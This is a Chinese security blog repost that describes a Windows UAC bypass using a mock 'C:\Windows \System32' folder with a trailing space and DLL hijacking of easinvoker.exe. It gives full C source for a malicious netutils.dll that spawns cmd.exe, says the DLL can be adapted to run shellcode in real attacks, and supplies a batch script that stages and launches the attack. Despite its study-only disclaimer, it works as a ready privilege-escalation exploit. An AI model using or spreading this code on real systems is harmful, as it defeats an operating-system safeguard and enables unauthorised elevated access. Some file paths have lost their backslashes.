UAC绕过-模拟受信任文件夹

admin 2024年11月27日12:54:03评论13 views字数 1199阅读3分59秒阅读模式

不多废话,直入主题吧,在c:WindowsSystem32中找到一个easinvoker.exe,并强制它加载我们自己的自定义 dll,当然你也可以找其它的exe。

这种绕过的有趣之处在于,easinvoker.exe只能加载包含在受信任的 C:WindowsSystem32 文件夹中的 DLL。

UAC绕过-模拟受信任文件夹

我们使用模拟受信任文件夹技术来解决这个问题。也就是当您创建模拟文件夹时,该文件夹包含一个尾随空格,例如:c:windows

1、使用免费的 WinAPISearch64 程序查询程序加载的dll以及它的导入函数

为什么要选择加载的dll中存在尽可能少的导入函数,原因是简便,避免编写dll时需要处理更多的函数。

UAC绕过-模拟受信任文件夹

2、如何编写这个代码?可以到微软Microsoft查找

NetApiBufferFree

函数的使用

UAC绕过-模拟受信任文件夹
UAC绕过-模拟受信任文件夹

下面是编写基本的dll代码,实战可以加载执行shellcode:

//x86_64-w64-mingw32-gcc netutils.c -shared -o netutils.dll
#include <windows.h>
#include
<lm.h>
#include
<wtypes.h>
BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){
switch(dwReason){
case DLL_PROCESS_ATTACH:
WinExec("cmd.exe", 1);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
NET_API_STATUS WINAPI NetApiBufferFree(LPVOID Buffer)
{
Sleep(INFINITE);
return 1;
}

使用mingw进行编译:

x86_64-w64-mingw32-gcc.exe netutils.c -shared -o netutils.dll

以下是bat格式的demo,实战可以写到自己代码中:

@echo off
cd %USERPROFILE%Desktop
mkdir "\?C:Windows "
mkdir "\?C:Windows System32"
copy "c:windowssystem32easinvoker.exe" "C:Windows System32"
cd c:temp
copy "netutils.dll" "C:Windows System32"
"C:Windows System32easinvoker.exe"

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。

原文始发于微信公众号(柠檬赏金猎人):UAC绕过-模拟受信任文件夹

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日12:54:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UAC绕过-模拟受信任文件夹https://cn-sec.com/archives/3431291.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息